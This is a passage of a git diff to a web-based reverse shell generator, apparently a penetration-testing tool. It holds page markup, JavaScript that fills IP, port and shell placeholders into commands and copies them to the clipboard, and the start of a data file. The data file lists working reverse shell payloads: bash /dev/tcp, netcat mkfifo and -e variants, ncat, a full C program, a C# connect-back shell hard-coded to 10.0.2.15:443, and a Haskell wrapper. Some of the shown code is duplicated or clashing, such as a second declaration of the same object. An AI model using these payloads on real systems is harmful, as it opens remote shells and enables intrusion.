||||
<select id="upgrades" class="custom-select">
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div> -->
|
||||
|
||||
</form>
|
||||
<!-- /Advanced section -->
|
||||
<div id="clipboard-failure-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(255, 0, 0, .85)">
|
||||
<div class="toast-body">
|
||||
Error copying to clipboard
|
||||
</div>
|
||||
</div>
|
||||
<!-- Auto-copy switch -->
|
||||
<!-- <div class="custom-control custom-switch mt-2 mr-3" data-toggle="tooltip"
|
||||
title="Auto-copy to clipboard when selecting a new shell type">
|
||||
<input id="auto-copy-switch" class="custom-control-input" type="checkbox"
|
||||
checked>
|
||||
<label for="auto-copy-switch" class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top: 2px">Auto-copy</label>
|
||||
</div> -->
|
||||
<!-- Copy button -->
|
||||
<button id="copy-reverse-shell-command" data-toggle="tooltip"
|
||||
title="Copy to clipboard" type="button" class="btn btn-primary float-right">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="row justify-content-end mr-1">
|
||||
<!-- Auto-copy switch -->
|
||||
<div class="custom-control custom-switch mt-2 mr-3" data-toggle="tooltip"
|
||||
title="Auto-copy to clipboard when selecting a new shell type">
|
||||
<input id="auto-copy-switch" class="custom-control-input" type="checkbox" checked>
|
||||
<label for="auto-copy-switch" class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top: 2px">Auto-copy</label>
|
||||
</div>
|
||||
<!-- Copy button -->
|
||||
<button id="copy-reverse-shell-command" data-toggle="tooltip" title="Copy to clipboard"
|
||||
type="button" class="btn btn-primary float-right">
|
||||
Copy
|
||||
</button>
|
||||
<!-- /Right column -->
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<!-- /Right column -->
|
||||
<!-- /card-text -->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<!-- /card-text -->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<!-- /Reverse Shell -->
|
||||
<!-- /Reverse Shell Tab -->
|
||||
|
||||
<!-- Bind Shell Tab -->
|
||||
<div class="tab-pane" id="bind" role="tabpanel" aria-labelledby="bind-tab">
|
||||
<div class="card shadow mb-5">
|
||||
<div class="card-body">
|
||||
<div class="card-text mt-4">
|
||||
<div class="row">
|
||||
<!-- Left column: Bind selection -->
|
||||
<div class="col-12 col-md-3">
|
||||
<div id="bind-shell-selection" class="list-group overflow-auto" style="max-height: 520px">
|
||||
<!-- filled by init()-->
|
||||
</div>
|
||||
</div>
|
||||
<!-- Right column -->
|
||||
<div class="col-12 col-md-9 d-flex flex-column">
|
||||
<!-- Command -->
|
||||
<div class="row flex-grow-1">
|
||||
<div class="col position-relative">
|
||||
<pre class="prompt-sign">🚀</pre>
|
||||
<pre id="bind-shell-command" class="bg-dark border pre-wrap text-break p-4 pl-5"
|
||||
style="outline: none; font-size:1em;" contenteditable="true"></pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row justify-content-end mr-1">
|
||||
<!-- Auto-copy switch -->
|
||||
<!-- <div class="custom-control custom-switch mt-2 mr-3" data-toggle="tooltip"
|
||||
title="Auto-copy to clipboard when selecting a new shell type">
|
||||
<input id="auto-copy-switch" class="custom-control-input" type="checkbox" checked>
|
||||
<label for="auto-copy-switch" class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top: 2px">Auto-copy</label>
|
||||
</div> -->
|
||||
<!-- Copy button -->
|
||||
<button id="copy-bind-shell-command" data-toggle="tooltip" title="Copy to clipboard"
|
||||
type="button" class="btn btn-primary float-right">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /Right column -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /Bind Shell Tab -->
|
||||
|
||||
<!-- MSFVenom Tab -->
|
||||
<div class="tab-pane" id="msfvenom" role="tabpanel" aria-labelledby="msfvenom-tab">
|
||||
<div class="card shadow mb-5">
|
||||
<div class="card-body">
|
||||
<div class="card-text mt-4">
|
||||
<div class="row">
|
||||
<!-- Left column: MSFVenom selection -->
|
||||
<div class="col-12 col-md-3">
|
||||
<div id="msfvenom-selection" class="list-group overflow-auto"
|
||||
style="max-height: 520px">
|
||||
<!-- filled by init()-->
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Right column -->
|
||||
<div class="col-12 col-md-9 d-flex flex-column">
|
||||
|
||||
<!-- Command -->
|
||||
<div class="row flex-grow-1">
|
||||
<div class="col position-relative">
|
||||
<pre class="prompt-sign">🚀</pre>
|
||||
<pre id="msfvenom-command"
|
||||
class="bg-dark border pre-wrap text-break p-4 pl-5"
|
||||
style="outline: none; font-size:1em;" contenteditable="true"></pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row justify-content-end mr-1">
|
||||
<!-- Auto-copy switch -->
|
||||
<!-- <div class="custom-control custom-switch mt-2 mr-3" data-toggle="tooltip"
|
||||
title="Auto-copy to clipboard when selecting a new shell type">
|
||||
<input id="auto-copy-switch" class="custom-control-input"
|
||||
type="checkbox" checked>
|
||||
<label for="auto-copy-switch"
|
||||
class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top: 2px">Auto-copy</label>
|
||||
</div> -->
|
||||
<!-- Copy button -->
|
||||
<button id="copy-msfvenom-command" data-toggle="tooltip"
|
||||
title="Copy to clipboard" type="button"
|
||||
class="btn btn-primary float-right">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<!-- /Right column -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /MSFVenom Tab -->
|
||||
|
||||
<script>
|
||||
$(function () {
|
||||
$('#myTab li:first-child a').tab('show')
|
||||
})
|
||||
</script>
|
||||
<!-- /NEW -->
|
||||
</div>
|
||||
|
||||
|
||||
<!-- Toasts -->
|
||||
<div id="clipboard-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(32, 32, 32, .85)">
|
||||
<div class="toast-body">
|
||||
Copied to clipboard
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="clipboard-failure-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(255, 0, 0, .85)">
|
||||
<div class="toast-body">
|
||||
Error copying to clipboard
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- RSG data -->
|
||||
<script src="js/data.js"></script>
|
||||
|
||||
<!-- RSG logic -->
|
||||
<script>
|
||||
const rsg = {
|
||||
currentCommandType: 'Bash -i',
|
||||
// Element selectors
|
||||
const ipInput = document.querySelector("#ip");
|
||||
const portInput = document.querySelector("#port");
|
||||
const listenerSelect = document.querySelector("#listener-selection");
|
||||
const shellSelect = document.querySelector("#shell");
|
||||
const autoCopySwitch = document.querySelector("#auto-copy-switch");
|
||||
const encodingSelect = document.querySelector('#encoding');
|
||||
const listenerCommand = document.querySelector("#listener-command");
|
||||
const reverseShellCommand = document.querySelector("#reverse-shell-command");
|
||||
const bindShellCommand = document.querySelector("#bind-shell-command");
|
||||
const msfVenomCommand = document.querySelector("#msfvenom-command");
|
||||
|
||||
copyToClipboard: function (text) {
|
||||
if (navigator.clipboard && navigator.clipboard.writeText) {
|
||||
const FilterType = {
|
||||
'All': 'all',
|
||||
'Windows': 'windows',
|
||||
'Linux': 'linux',
|
||||
'Mac': 'mac'
|
||||
};
|
||||
|
||||
document.querySelector("#os-options").addEventListener("change", (event) => {
|
||||
const selectedOS = event.target.value;
|
||||
rsg.setState({
|
||||
filter: selectedOS,
|
||||
});
|
||||
});
|
||||
|
||||
document.querySelector("#reverse-tab").addEventListener("click", () => {
|
||||
rsg.setState({
|
||||
commandType: CommandType.ReverseShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#bind-tab").addEventListener("click", () => {
|
||||
rsg.setState({
|
||||
commandType: CommandType.BindShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#bind-tab").addEventListener("click", () => {
|
||||
document.querySelector("#bind-shell-selection").innerHTML = "";
|
||||
rsg.setState({
|
||||
commandType: CommandType.BindShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#msfvenom-tab").addEventListener("click", () => {
|
||||
document.querySelector("#msfvenom-selection").innerHTML = "";
|
||||
rsg.setState({
|
||||
commandType: CommandType.MSFVenom
|
||||
});
|
||||
});
|
||||
|
||||
const filterCommandData = function (data, { commandType, filter }) {
|
||||
return data.filter(item => {
|
||||
if (!item.meta.includes(commandType)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!filter) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (filter === FilterType.All) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return item.meta.includes(filter);
|
||||
});
|
||||
}
|
||||
|
||||
const uiElements = {
|
||||
[CommandType.ReverseShell]: {
|
||||
listSelection: '#reverse-shell-selection',
|
||||
command: '#reverse-shell-command'
|
||||
},
|
||||
[CommandType.BindShell]: {
|
||||
listSelection: '#bind-shell-selection',
|
||||
command: '#bind-shell-command',
|
||||
},
|
||||
[CommandType.MSFVenom]: {
|
||||
listSelection: '#msfvenom-selection',
|
||||
command: '#msfvenom-command'
|
||||
}
|
||||
};
|
||||
|
||||
const rsg = {
|
||||
selectedValues: {
|
||||
[CommandType.ReverseShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.ReverseShell })[0].name,
|
||||
[CommandType.BindShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.BindShell })[0].name,
|
||||
[CommandType.MSFVenom]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.MSFVenom })[0].name,
|
||||
},
|
||||
commandType: CommandType.ReverseShell,
|
||||
filter: FilterType.All,
|
||||
|
||||
copyToClipboard: (text) => {
|
||||
if (navigator ?.clipboard ?.writeText) {
|
||||
navigator.clipboard.writeText(text)
|
||||
$('#clipboard-toast').toast('show')
|
||||
} else if (window.clipboardData && window.clipboardData.setData) {
|
||||
} else if (window ?.clipboardData ?.setData) {
|
||||
window.clipboardData.setData('Text', text);
|
||||
$('#clipboard-toast').toast('show')
|
||||
} else {
|
||||
@ -305,151 +572,173 @@
|
||||
}
|
||||
},
|
||||
|
||||
escapeHTML: function (text) {
|
||||
return String(text).replace(/</, '<').replace(/>/, '>')
|
||||
escapeHTML: (text) => String(text).replace(/</, '<').replace(/>/, '>'),
|
||||
|
||||
getIP: () => ipInput.value || ipInput.getAttribute('placeholder'),
|
||||
|
||||
getPort: () => Number(portInput.value || portInput.getAttribute('placeholder')),
|
||||
|
||||
getSelectedCommandName: () => {
|
||||
return rsg.selectedValues[rsg.commandType];
|
||||
},
|
||||
|
||||
getIP: function () {
|
||||
return $('#ip').val() || $('#ip').attr('placeholder')
|
||||
getReverseShellCommand: () => {
|
||||
const reverseShellData = rsgData.reverseShellCommands.find((item) => item.name === rsg.getSelectedCommandName());
|
||||
return reverseShellData.command;
|
||||
},
|
||||
|
||||
getPort: function () {
|
||||
return Number($('#port').val() || $('#port').attr('placeholder'))
|
||||
},
|
||||
|
||||
getReverseShellCommand: function () {
|
||||
const reverseShellData = rsgData.reverseShellsCommands.filter(function (reverseShellData) {
|
||||
return reverseShellData[0] === rsg.currentCommandType
|
||||
})[0]
|
||||
return reverseShellData[1]
|
||||
},
|
||||
|
||||
highlightParameters: function (text, encoder) {
|
||||
highlightParameters: (text, encoder) => {
|
||||
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
|
||||
encodeURI('{shell}')
|
||||
]
|
||||
parameters.forEach(function (param) {
|
||||
];
|
||||
|
||||
parameters.forEach((param) => {
|
||||
if (encoder) param = encoder(param)
|
||||
text = text.replace(param, '<span class="highlighted-parameter">' + param +
|
||||
'</span>')
|
||||
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
||||
})
|
||||
return text
|
||||
},
|
||||
|
||||
init: function () {
|
||||
init: () => {
|
||||
rsg.initListenerSelection()
|
||||
rsg.initShells()
|
||||
rsg.initReverseShellSelection()
|
||||
// rsg.initUpgrader()
|
||||
},
|
||||
|
||||
initListenerSelection: function () {
|
||||
rsgData.listenerCommands.forEach(function (listenerData, i) {
|
||||
const type = listenerData[0],
|
||||
command = listenerData[1]
|
||||
$('#listener-selection').append($('<option>', {
|
||||
text: type,
|
||||
value: command,
|
||||
selected: i === 0,
|
||||
class: 'listener-option',
|
||||
}))
|
||||
initListenerSelection: () => {
|
||||
rsgData.listenerCommands.forEach((listenerData, i) => {
|
||||
const type = listenerData[0];
|
||||
const command = listenerData[1];
|
||||
|
||||
const option = document.createElement("option");
|
||||
|
||||
option.value = command;
|
||||
option.selected = i === 0;
|
||||
option.classList.add("listener-option");
|
||||
option.innerText = type;
|
||||
|
||||
listenerSelect.appendChild(option);
|
||||
})
|
||||
},
|
||||
|
||||
initShells: function () {
|
||||
rsgData.shells.forEach(function (shell, i) {
|
||||
$('#shell').append($('<option>', {
|
||||
text: shell,
|
||||
selected: i === 0,
|
||||
class: 'shell-option',
|
||||
}))
|
||||
initShells: () => {
|
||||
rsgData.shells.forEach((shell, i) => {
|
||||
const option = document.createElement("option");
|
||||
|
||||
option.selected = i === 0;
|
||||
option.classList.add("shell-option");
|
||||
option.innerText = shell;
|
||||
|
||||
shellSelect.appendChild(option);
|
||||
})
|
||||
},
|
||||
|
||||
// initUpgrader: function () {
|
||||
// rsgData.upgrades.forEach(function (upgrades, i) {
|
||||
// $('#upgrades').append($('<option>', {
|
||||
// text: upgrades,
|
||||
// selected: i === 0
|
||||
// }))
|
||||
// })
|
||||
// },
|
||||
// Updates the rsg state, and forces a re-render
|
||||
setState: ({ filter, commandType } = {}) => {
|
||||
if (filter) {
|
||||
rsg.filter = filter;
|
||||
}
|
||||
if (commandType) {
|
||||
rsg.commandType = commandType;
|
||||
}
|
||||
|
||||
initReverseShellSelection: function () {
|
||||
rsgData.reverseShellsCommands.forEach(function (reverseShellData) {
|
||||
const type = reverseShellData[0]
|
||||
const selectionEntry = $('<a>', {
|
||||
href: '#',
|
||||
text: type,
|
||||
'class': 'list-group-item',
|
||||
click: function (event) {
|
||||
rsg.currentCommandType = type
|
||||
rsg.updateReverseShellSelection()
|
||||
rsg.updateReverseShellCommand()
|
||||
if ($('#auto-copy-switch').prop('checked')) {
|
||||
rsg.copyToClipboard($('#reverse-shell-command').text())
|
||||
}
|
||||
event.preventDefault()
|
||||
}
|
||||
})
|
||||
setTimeout(function () { // fix strange IE behavior
|
||||
selectionEntry.addClass('list-group-item-action')
|
||||
}, 0)
|
||||
|
||||
$('#reverse-shell-selection').append(selectionEntry)
|
||||
})
|
||||
rsg.update();
|
||||
},
|
||||
|
||||
insertParameters: function (command, encoder) {
|
||||
insertParameters: (command, encoder) => {
|
||||
return command
|
||||
.replace(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP())))
|
||||
.replace(encoder('{port}'), encoder(String(rsg.getPort())))
|
||||
.replace(encoder('{shell}'), encoder($('#shell').val()))
|
||||
.replaceAll(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP())))
|
||||
.replaceAll(encoder('{port}'), encoder(String(rsg.getPort())))
|
||||
.replaceAll(encoder('{shell}'), encoder(shellSelect.value))
|
||||
},
|
||||
|
||||
update: function () {
|
||||
update: () => {
|
||||
rsg.updateListenerCommand()
|
||||
rsg.updateReverseShellSelection()
|
||||
rsg.updateTabList()
|
||||
rsg.updateReverseShellCommand()
|
||||
},
|
||||
|
||||
updateListenerCommand: function () {
|
||||
let command = $('#listener-selection').val()
|
||||
updateTabList: () => {
|
||||
const data = rsgData.reverseShellCommands;
|
||||
const filteredItems = filterCommandData(
|
||||
data,
|
||||
{
|
||||
filter: rsg.filter,
|
||||
commandType: rsg.commandType
|
||||
}
|
||||
);
|
||||
|
||||
//debugger;
|
||||
|
||||
const documentFragment = document.createDocumentFragment()
|
||||
filteredItems.forEach((item, index) => {
|
||||
const {
|
||||
name,
|
||||
command
|
||||
} = item;
|
||||
|
||||
const selectionButton = document.createElement("button");
|
||||
|
||||
if (rsg.getSelectedCommandName() === item.name) {
|
||||
selectionButton.classList.add("active");
|
||||
}
|
||||
|
||||
const clickEvent = () => {
|
||||
rsg.selectedValues[rsg.commandType] = name;
|
||||
rsg.update();
|
||||
|
||||
// if (document.querySelector('#auto-copy-switch').checked) {
|
||||
// rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
// }
|
||||
}
|
||||
|
||||
selectionButton.innerText = name;
|
||||
selectionButton.classList.add("list-group-item", "list-group-item-action");
|
||||
selectionButton.addEventListener("click", clickEvent);
|
||||
|
||||
documentFragment.appendChild(selectionButton);
|
||||
})
|
||||
|
||||
const listSelectionElement = uiElements[rsg.commandType].listSelection;
|
||||
document.querySelector(listSelectionElement).replaceChildren(documentFragment)
|
||||
},
|
||||
|
||||
updateListenerCommand: () => {
|
||||
const privilegeWarning = document.querySelector("#port-privileges-warning");
|
||||
let command = listenerSelect.value;
|
||||
command = rsg.highlightParameters(command)
|
||||
command = command.replace('{port}', rsg.getPort())
|
||||
|
||||
if (rsg.getPort() < 1024) {
|
||||
$('#port-privileges-warning').css('visibility', 'visible')
|
||||
command = '<span class="highlighted-warning">sudo</span> ' + command
|
||||
privilegeWarning.style.visibility = "visible";
|
||||
command = `<span class="highlighted-warning">sudo</span> ${command}`
|
||||
} else {
|
||||
$('#port-privileges-warning').css('visibility', 'hidden')
|
||||
privilegeWarning.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
$('#listener-command').html(command)
|
||||
listenerCommand.innerHTML = command;
|
||||
},
|
||||
|
||||
updateReverseShellSelection: function () {
|
||||
console.log(rsg.currentCommandType)
|
||||
$('.list-group-item.active').removeClass('active')
|
||||
$('.list-group-item').filter(function () {
|
||||
return $(this).text() === rsg.currentCommandType
|
||||
}).addClass('active')
|
||||
updateReverseShellSelection: () => {
|
||||
document.querySelector(".list-group-item.active") ?.classList.remove("active");
|
||||
const elements = Array.from(document.querySelectorAll(".list-group-item"));
|
||||
const selectedElement = elements.find((item) => item.innerText === rsg.currentCommandName);
|
||||
selectedElement?.classList.add("active");
|
||||
},
|
||||
|
||||
updateReverseShellCommand: function () {
|
||||
updateReverseShellCommand: () => {
|
||||
let command
|
||||
|
||||
if (rsg.currentCommandType === 'PowerShell #3 (Base64)') {
|
||||
const encoder = function (text) {
|
||||
return text
|
||||
}
|
||||
if (rsg.getSelectedCommandName() === 'PowerShell #3 (Base64)') {
|
||||
const encoder = (text) => text;
|
||||
const payload = rsg.insertParameters(rsgData.specialCommands['PowerShell payload'], encoder)
|
||||
command = "powershell -e " + btoa(payload)
|
||||
} else {
|
||||
command = rsg.getReverseShellCommand()
|
||||
}
|
||||
|
||||
const encoding = $('#encoding').val()
|
||||
command = rsg.getReverseShellCommand()
|
||||
|
||||
const encoding = encodingSelect.value;
|
||||
if (encoding === 'Base64') {
|
||||
command = btoa(command)
|
||||
} else {
|
||||
@ -465,10 +754,11 @@
|
||||
)
|
||||
}
|
||||
|
||||
$('#reverse-shell-command').html(command)
|
||||
const commandElement = uiElements[rsg.commandType].command;
|
||||
document.querySelector(commandElement).innerHTML = command;
|
||||
},
|
||||
|
||||
updateSwitchStates: function () {
|
||||
updateSwitchStates: () => {
|
||||
$('#listener-advanced').collapse($('#listener-advanced-switch').prop('checked') ? 'show' :
|
||||
'hide')
|
||||
$('#revshell-advanced').collapse($('#revshell-advanced-switch').prop('checked') ? 'show' :
|
||||
@ -477,39 +767,52 @@
|
||||
}
|
||||
|
||||
/*
|
||||
* Event handlers
|
||||
* Init
|
||||
*/
|
||||
$('#shell, #encoding').on('change', function()
|
||||
{
|
||||
rsg.updateReverseShellCommand();
|
||||
setLocalStorage(shellSelect, "shell", "value");
|
||||
})
|
||||
rsg.init();
|
||||
rsg.update();
|
||||
|
||||
$('#inc-port').on('click', function () {
|
||||
$('#port').val(rsg.getPort() + 1);
|
||||
/*
|
||||
* Event handlers/functions
|
||||
*/
|
||||
const dropdownUpdate = () => {
|
||||
setLocalStorage(shellSelect, "shell", "value");
|
||||
rsg.update();
|
||||
}
|
||||
|
||||
shellSelect.addEventListener("change", dropdownUpdate);
|
||||
encodingSelect.addEventListener("change", dropdownUpdate);
|
||||
|
||||
document.querySelector('#inc-port').addEventListener('click', () => {
|
||||
portInput.value = rsg.getPort() + 1;
|
||||
rsg.update();
|
||||
setLocalStorage(portInput, "port", "value");
|
||||
})
|
||||
|
||||
$('#listener-advanced-switch, #revshell-advanced-switch').on('change', rsg.updateSwitchStates)
|
||||
setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession
|
||||
document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
|
||||
$('#copy-listener').on('click', function () {
|
||||
rsg.copyToClipboard($('#listener-command').text())
|
||||
setInterval(rsg.updateSwitchStates, 200) // fix switch changes in rapid succession
|
||||
|
||||
document.querySelector('#copy-listener').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(listenerCommand.innerText)
|
||||
})
|
||||
|
||||
$('#copy-reverse-shell-command').on('click', function () {
|
||||
rsg.copyToClipboard($('#reverse-shell-command').text())
|
||||
document.querySelector('#copy-reverse-shell-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-bind-shell-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(bindShellCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-msfvenom-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(msfVenomCommand.innerText)
|
||||
})
|
||||
|
||||
/*
|
||||
* LocalStorage setting/getting
|
||||
*/
|
||||
const listenerSelect = document.querySelector("#listener-selection");
|
||||
const ipInput = document.querySelector("#ip");
|
||||
const portInput = document.querySelector("#port");
|
||||
const shellSelect = document.querySelector("#shell");
|
||||
const autoCopySwitch = document.querySelector("#auto-copy-switch");
|
||||
|
||||
/**
|
||||
* Sets item to localStorage when user moves focus from element
|
||||
@ -562,8 +865,6 @@
|
||||
setTimeout(() => {
|
||||
const shellOptions = shellSelect.querySelectorAll(".shell-option");
|
||||
prepopulateElement("shell", shellSelect, "value", [...shellOptions]);
|
||||
|
||||
rsg.updateReverseShellCommand();
|
||||
}, 500);
|
||||
|
||||
prepopulateElement("ip", ipInput, "value");
|
||||
@ -599,23 +900,17 @@
|
||||
setLocalStorage(selectedItem, "shell", "value");
|
||||
});
|
||||
|
||||
autoCopySwitch.addEventListener("change", () => {
|
||||
setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||
});
|
||||
|
||||
/*
|
||||
* Init
|
||||
*/
|
||||
$(document).ready(function () {
|
||||
rsg.init()
|
||||
rsg.update()
|
||||
})
|
||||
|
||||
// autoCopySwitch.addEventListener("change", () => {
|
||||
// setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||
// });
|
||||
|
||||
// Popper tooltips
|
||||
$(function () {
|
||||
$('[data-toggle="tooltip"]').tooltip()
|
||||
})
|
||||
});
|
||||
|
||||
// TODO: add a random fifo for netcat mkfifo
|
||||
//let randomId = Math.random().toString(36).substring(2, 4);
|
||||
</script>
|
||||
|
||||
<script src="js/light-mode-switch.min.js"></script>
|
||||
|
371
js/data.js
371
js/data.js
@ -1,8 +1,329 @@
|
||||
const CommandType = {
|
||||
'ReverseShell': 'ReverseShell',
|
||||
'BindShell': 'BindShell',
|
||||
'MSFVenom': 'MSFVenom'
|
||||
};
|
||||
|
||||
const withCommandType = function (commandType, elements) {
|
||||
return elements.map((element) => {
|
||||
return {
|
||||
...element,
|
||||
meta: [
|
||||
...element.meta,
|
||||
commandType
|
||||
]
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
const reverseShellCommands = withCommandType(
|
||||
CommandType.ReverseShell,
|
||||
[
|
||||
{
|
||||
"name": "Bash -i",
|
||||
"command": "{shell} -i >& /dev/tcp/{ip}/{port} 0>&1",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Bash 196",
|
||||
"command": "0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Bash read line",
|
||||
"command": "exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Bash 5",
|
||||
"command": "{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "Bash udp",
|
||||
"command": "{shell} -i >& /dev/udp/{ip}/{port} 0>&1",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "nc mkfifo",
|
||||
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "nc -e",
|
||||
"command": "nc -e {shell} {ip} {port}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "nc.exe -e",
|
||||
"command": "nc -e {shell} {ip} {port}",
|
||||
"meta": ["windows"]
|
||||
},
|
||||
{
|
||||
"name": "nc -c",
|
||||
"command": "nc -c {shell} {ip} {port}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "ncat -e",
|
||||
"command": "ncat {ip} {port} -e {shell}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "ncat.exe -e",
|
||||
"command": "ncat.exe {ip} {port} -e {shell}",
|
||||
"meta": ["windows"]
|
||||
},
|
||||
{
|
||||
"name": "ncat udp",
|
||||
"command": "ncat {ip} {port} -e {shell}",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "C",
|
||||
"command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}",
|
||||
"meta": ["linux", "windows", "mac"]
|
||||
},
|
||||
{
|
||||
"name": "C#",
|
||||
"command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"10.0.2.15\", 443))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}",
|
||||
"meta": ["linux", "windows"]
|
||||
},
|
||||
{
|
||||
"name": "Haskell #1",
|
||||
"command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
